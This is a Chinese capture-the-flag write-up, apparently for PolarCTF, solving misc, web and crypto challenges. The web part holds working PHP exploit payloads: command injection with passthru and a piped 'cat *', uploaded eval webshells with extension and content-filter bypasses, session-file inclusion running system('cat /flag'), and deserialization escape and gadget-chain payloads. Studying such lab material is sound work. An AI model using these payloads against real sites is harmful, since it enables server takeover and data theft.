misc 
  misc-签到喵 
经典的公众号签到题 
发送宝宝想要flag(这个是base64解码得到的结果)到公众号即可
 
  misc-A 宽宽 S 00 E 
U2FsdGVkX19d7TPOqeK+yL2btyx2gt4lp2ErgNwLzytzew9Wu7tcVvsR4tqWzGFi 772B6etLclejBUsSwv/hmg== 
零宽字节隐写,vim查看隐写字符,然后找个在线网站得到上面的字符 
前段是aes字符,emm也没解出来 
后来在群里看见群友在聊发现秘钥是sql,好好好,原来附件给的这个sql注入是这么玩的,然后上面的密文要把空格去掉 
https://stackoverflow.org.cn/aesencrypt/  
base64解码,加上flag{}就是答案
 
  misc-机密 
有个流量包,没看出什么东西,直接binwalk 
得到个压缩包,直接爆破,1903
 
  misc-社会主义大法好 
一开始ARCHPR识别不了这个压缩包,以为伪加密,结果binwalk分离之后也不行,估计文件格式错了,或者我电脑配置的问题,之前我就把winrar卸了,一般有概率遇到这种情况,直接掏出bandzip 
后来看群友聊,还得是misc神,我后面拿bandzip也能破,因为正好四位密码,图片里也有,1945,社会主义核心价值观解码 
U2FsdGVkX18hXTEdmaHlK9Wa0JuJu4UApkMzMe69xXg8yBK0Fw5q4HtQ5+qK6BCB +WkHQDiIxks= 
删去换行符再继续下面的操作 
这个字符串的开头还以为是aes,其实不是,是rabbit,秘钥就拿剩下的一个数字,2014。。。。
 
  misc-是uu吗 
&,3(S-#4V题目名字包含uu,推测是uuencode,得到123456,应该是某个压缩包密码 
尝试过各种音频隐写,都不对,赛后看讲解视频才发现是steghide,其实这个123456或许能够猜到(???) 
steghide extract -sf filename -p 123456 
得到flag.txt,再拿去uuencode解码一下 
>9FQA9WLV-S$S-S@Y-#8P,C,V-#@W-S@S,C0V.#E] 
flag{671378946023648778324689}
 
  misc-EZ签到 
binwalk得到H1nt.zip是伪加密,得到一张小猫图片,尝试各类图片隐写,没有用 
最后尝试到F5-steg,先把图片拖进去,在这里java Extract f1ag.jpg 
得到一个flag.txt,里面的内容很明显是zip,改后缀,要密码,binwalk一下看是不是伪加密,拿到了flag,可惜是假的。。。。。。掉坑里了 
出题人其实给了这个的密码java Extract f1ag.jpg -p qiandao 
得到nizhenbuhuiyiweizheshiqiandaoba,是flag压缩包的密码 
得到100张图片,进行拼图,发现大小不一,借助PS批量处理,统一修改为40x40,过程可以去B站看讲解官方团队的讲解视频 
拼图,借助imagemagick,文件夹cmd,magick montage *.jpg -tile 10x10 -geometry +0+0 flag.jpg发现是无序的 
再借助gaps复原,gaps run ./flag.jpg newflag.jpg --generations=20 --population=200 --size=40 
安装过程有点折磨,get到了拼图工具imagemagick跟自动拼图工具gaps,也算有所收获 
 
R1kzRE1RWldHRTNET04yQ0dRMlRNTUpYSUUzVFNOS0dHVVpUTU9KV0c0M0VLTktHR1E0VE1SSlhJUT09PT09PQ== 
 
  web 
  web-cool 
system被ban,换passthru 
flag被ban,利用通配符* 
?a=passthru('cat f*');
 
  web-phpurl 
扫一下,发现1.txt 
乱码,火狐浏览器ALT->查看->修复乱码,得到一个被加密的文件名aW5kZXgucGhwcw,base64解密得到index.phps 
源码:
<?php if ("xxs" ===$_GET [sys]) {  echo ("<p>Not a good idea!</p>" );   exit (); } $_GET [sys] = urldecode ($_GET [sys]);if ($_GET [sys] == "xxs" ){   echo  "<p>Welcome to polar LABS!</p>" ;   echo  "<p>Flag: XXXXXXX </p>" ; } ?> 
 
参数sys不能等于xxs,但是经过url编码的sys可以等于xxs,先让浏览器进行转码,%25->%,%78->x,就能实现 
?sys=%2578xs 
(emmm,附件的内容其实就是乱码修复后的)
 
  web-cookie欺骗 
hackbar,将cookie值改为adminuser=admin
 
  web-干正则 
parse_str变量覆盖 
?id=a[0]=www.polarctf.com&cmd=127.0.0.1|cat * 
没看见“干正则”,嘿嘿 
一开始还找不到flag,F12即可
 
  web-随机值 
<?php class  Index  {    private  $Polar1  = 3 ;     private  $Polar2  = 3 ;     protected  $Night  = 3 ;     protected  $Light  = 3 ;     function  getflag ($flag  )      {        $Polar2  = rand (0 , 100 );         if  ($this ->Polar1 === $this ->Polar2) {             $Light  = rand (0 , 100 );             if  ($this ->Night === $this ->Light) {                 echo  $flag ;             }         } else  {             echo  "Your wrong!!!" ;         }     } } $a  = new  Index ();echo  urlencode (serialize ($a ));
 
因为php是不能直接给private和protected的变量直接赋值的,所以rand()函数直接废掉,不起作用 
又或者变量引用
$a->Polar1=&$a->Polar2; $a->Night=&$a->Light; 
 
 
  web-upload 
$is_upload  = false ;$msg  = null ;if  (isset ($_POST ['submit' ])) {    if  (file_exists (UPLOAD_PATH)) {         $deny_ext  = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" );           $file_name  = trim ($_FILES ['upload_file' ]['name' ]);         $file_name  = str_ireplace ($deny_ext ,"" , $file_name );         $temp_file  = $_FILES ['upload_file' ]['tmp_name' ];         $img_path  = UPLOAD_PATH.'/' .rand (10000 ,99999 ).$file_name ;                 if  (move_uploaded_file ($temp_file , $img_path )) {             $is_upload  = true ;         } else  {             $msg  = '上传出错!' ;         }     } else  {         $msg  = UPLOAD_PATH . '文件夹不存在,请手工创建!' ;     } } 
 
明显双写绕过,将木马文件命名为a.pphphp即可,文件内容<?php eval($_POST['a']); 
上传文件之后,可以F12查看网络,就可以看到文件上传的位置了,再用蚁剑连接即可 
(补题发现,秋季那道ezupload,上传GIF文件,再抓包改php后缀,蚁剑,不过我连接的时候,警告返回数据为空??不应该啊)
 
  web-你的马呢? 
经典文件上传,注意到URL,可能存在文件包含,发现可以/etc/passwd,先读一下源码url/index.php?file=php://filter/read/convert.base64-encode/resource=upload.php
<?php  if (isset ($_FILES ['upfile' ])){   $uploaddir  = 'uploads/' ;   $uploadfile  = $uploaddir  . basename ($_FILES ['upfile' ]['name' ]);   $ext  = pathinfo ($_FILES ['upfile' ]['name' ],PATHINFO_EXTENSION);    容   $text  = file_get_contents ($_FILES ['upfile' ]['tmp_name' ]);   echo  $ext ;      if  (!preg_match ("/ph.|htaccess/i" , $ext )){    if (preg_match ("/<\?php/i" , $text )){     echo  "å¿å¿å¿ï¼æ³ä¼ 马ï¼ä¸å¯è½ï¼<br>" ;    }    else {     move_uploaded_file ($_FILES ['upfile' ]['tmp_name' ],$uploadfile );     echo  "æåä½ ï¼ä¸ä¼ è·¯å¾<br>è·¯å¾ä¸º:"  . $uploadfile  . "<br>" ;    }   }    else  {    echo  "æ¶æåç¼,è¯è¯.jspå¢ï¼<br>" ;       }  } ?> <!DOCTYPE html> <html> <head>  <title>ä¸ä¼ æä»¶</title>  <meta http-equiv="Content-Type"  content="text/html; charset=utf-8"  /> </head> <body>  åä¸å«ä¸ä¼ phpèæ¬ï¼ï¼ï¼ï¼  <form action="upload.php"  method="POST"  enctype="multipart/form-data" >   <input type="file"  name="upfile"  value=""  />   <input type="submit"  name="submit"  value="æäº¤"  />  </form> </body> </html> 
 
大致内容是,文件内容不能含<?php标签,文件名后缀不能有ph.和htaccess,等 
上传jpg文件,利用短标签
GIF89a <?= eval ($_POST ['a' ]);?> 
 
post: a=system(cat /f*);
 
  web-ezphp 
爬虫-> robots.txt
User-agent: * Disallow: /file Disallow: /uploads Disallow: /uploads/images 
 
进入uploads/upload.php进行文件上传 
/file告诉我们要传参filename 
/uploads/images查看上传了那些文件 
上传木马文件 
url/file/file.php?filename=../uploads/images/a.jpg 
post:a=system('ls /'); 
发现bin dev etc home lib linuxrc media mnt proc root run sbin srv sys tmp usr var 
一般是在home或root下 
post:a=system('ls /home'); 
最终post:a=system('cat /home/webuser/flag');
 
  web-你想逃也逃不掉 
PHP反序列化字符逃逸,题目的过滤函数使得字符减少
 <?php  error_reporting (0 );highlight_file (__FILE__ );function  filter ($string  ) {    return  preg_replace ( '/phtml|php3|php4|php5|aspx|gif/' ,'' , $string ); } $user ['username' ] = $_POST ['name' ];$user ['passwd' ] = $_GET ['passwd' ];$user ['sign' ] = '123456' ;$ans  = filter (serialize ($user ));if (unserialize ($ans )[sign] == "ytyyds" ){    echo  file_get_contents ('flag.php' ); }  
 
本地试验
 <?php      function  filter ($string  )      {        return  preg_replace ('/phtml|php3|php4|php5|aspx|gif/' , '' , $string );     }     $user ['username' ] = 'phtmlphtmlphtmlphtml' ;     $user ['passwd' ] = ';s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}' ;     $user ['sign' ] = '123456' ;     echo  serialize ($user );     echo  "\n" ;     echo  filter (serialize (($user )));     $ans  = filter (serialize ($user ));     if  (unserialize ($ans )[sign] == "ytyyds" ) {         echo  "\nsuccess!!!" ;     } 
 
post: name=phtmlphtmlphtmlphtml get: url/?passwd=;s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";} F12查看即可 
 
 
  web-苦海 
链子User::__wakeup()->User::printName()->Surrender::__toString()->FileRobot::__get()->FileRobot::__invoke()->FileRobot::Get_file()
<?php class  User  {    public  $name  = 'PolarNight' ;     public  $flag  = 'syst3m("rm -rf ./*");' ;     public  function  __construct ( )      {        echo  "删库跑路,蹲监狱~" ;     }     public  function  printName ( )      {        echo  $this ->name;         return  'ok' ;     }     public  function  __wakeup ( )      {        echo  "hi, Welcome to Polar D&N ~ " ;         $this ->printName ();     }     public  function  __get ($cc  )      {        echo  "give you flag : "  . $this ->flag;     } } class  Surrender  {    private  $phone  = 110 ;     public  $promise  = '遵纪守法,好公民~' ;     public  function  __construct ( )      {        $this ->promise = '苦海无涯,回头是岸!' ;         return  $this ->promise;     }     public  function  __toString ( )      {        return  $this ->file['filename' ]->content['title' ];     } } class  FileRobot  {    public  $filename  = 'flag.php' ;     public  $path ;     public  function  __get ($name  )      {        $function  = $this ->path;         return  $function ();     }     public  function  Get_file ($file  )      {        $hint  = base64_encode (file_get_contents ($file ));         echo  $hint ;     }     public  function  __invoke ( )      {        $content  = $this ->Get_file ($this ->filename);         echo  $content ;     } } $a  = new  User ();$a ->name = new  Surrender ();$a ->name->file["filename" ] = new  FileRobot ();$a ->name->file['filename' ]->path = new  FileRobot ();$a ->name->file['filename' ]->path->filename = '../flag.php' ;echo  urlencode (serialize ($a ));
 
flag位置要试,试出在../flag.php
 
  web-safe_include 
<?php  show_source (__FILE__ ); @session_start (); ini_set ('open_basedir' , '/var/www/html/:/tmp/' ); $sys  = @$_SESSION ['xxs' ];if  (isset ($_GET ['xxs' ])) {    $sys  = $_GET ['xxs' ]; } @include  $sys ; $_SESSION ['xxs' ] = $sys ;
 
session文件包含  
open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域,假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。注意用open_basedir指定的限制实际上是前缀,而不是目录名 
举例来说: 若"open_basedir = /dir/user", 那么目录 “/dir/user” 和 "/dir/user1"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名 
?xxs=<?php system('cat /flag');?>保存进session的值并写入session文件 
根据sessionID生成session文件,/tmp/sess_sessionID,sessionID一般就是Cookie中PHPSESSID的值,可以通过F12查看网络获得 
?xxs=/tmp/sess_sessionID进行session文件包含
 
  crypto 
  crypto-base 
密文j2rXjx8wSZjD 
base64换表GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5 
解密即可,得到flag{666}
 
  crypto-AFF 
题目可知是仿射密码 
密文WMPTPTRGGPED 
c = (3 * j - 17) % 26 
根据代码可知,a=3,b=17 
得到thisisaffine 
flag{THISISAFFINE}
 
  crypto-神秘组织M 
栅栏密码M型,靠,之前只知道普通的跟W型,其实题目也提示了。。。。 
{bc1bg572ec066}a0d2fb137l951b5451f06b7 
手工得到
      {       b         c        1          b      g 5      7  2        e c      0  6        6  }    a    0    d   2      f   b    1    3      7   l       9  5      1    b     5   4      5    1  f         0         6          b        7  
 
flag{50905d7b2216bfeccb5b41016357176b} 
后面看见这个靶场也有一道M型的
 
  crypto-数星星 
词频统计,自己先把单词找出来,直接在buuctf做过一道类似的,浪里淘沙?好像是这个,直接把脚本搬过来
content = ""  list  = ['tonight' , 'success' , 'favorite' , 'we' , 'example' , 'crypto' , 'should' , 'is' ,         'learn' , 'sublim' , 'morning' , 'system' , 'your' , 'word' , 'which' , 'found' ] l = [] for  each in  list :    if  each in  content:         print (content.count(each), each)         l.append((content.count(each), each)) l = sorted (l, reverse=False ) dest = [l[i-1 ] for  i in  (3 , 6 , 10 , 12 , 15 )] print (dest)print ('' .join([i[1 ] for  i in  dest]))
 
 
  crypto-不一样的四四方方 
jilinjingcha information engineering 
 
网上的关于四方密码介绍很多,一般秘钥都是没有j/q/i 
但是这道题我们去的是z,附件的给提示 
key1:informatbcdeghjklpqsuvwxy 
key2:engirabcdfhjklmopqstuvwxy 
加密。。。。就很抽象,都说了题目给的是密文,不应该是解密吗?? 
BDHAHCTLTNMG这是大写的结果,有的网站是这个 
还有就是,有的在线网站跑出来的是小写的结果,md之后就不是flag了,题目又说是md5小写加密。。。。。 
md5一下 
flag{c6dac3a0f40dfacefcc473585cdeb0f8} 
总结:这道题很抽象
 
  crypto-我爱456 
kseYvkasuj5618t lygemfla235158jd utasvQsjdybl587t sydwkuhd54kdhg jtftY658qiwudhs iaugwjiushyc871 aksQbhasbkjcbkjd dvbpzd8v26dfv6f s6dvdNf6v52v6x 65dT26f5d1b6f5v 35f2Y6d65bbfv5 35dfv32d8bfv256d kdhMvnhdkjzldkj sdhjTujsdbch268 sdr26Iksds265dsv jnm2dsnsdv26865 
 
评价:又是一道misc题。。。 
456循环,依次提取字符串中的第4,5,6个字符
with  open ("提取出只有字符串的文件位置" , 'r' ) as  f:    a = f.read().split('\n' ) flag = ''  for  i in  range (len (a)):    if  i % 3  == 0 :         flag += a[i][3 ]     elif  i % 3  == 1 :         flag += a[i][4 ]     else :         flag += a[i][5 ] print (flag)
 
base64得到bd0b43567126 
flag{b5ff0893e6522a037c144a1f502c2b48}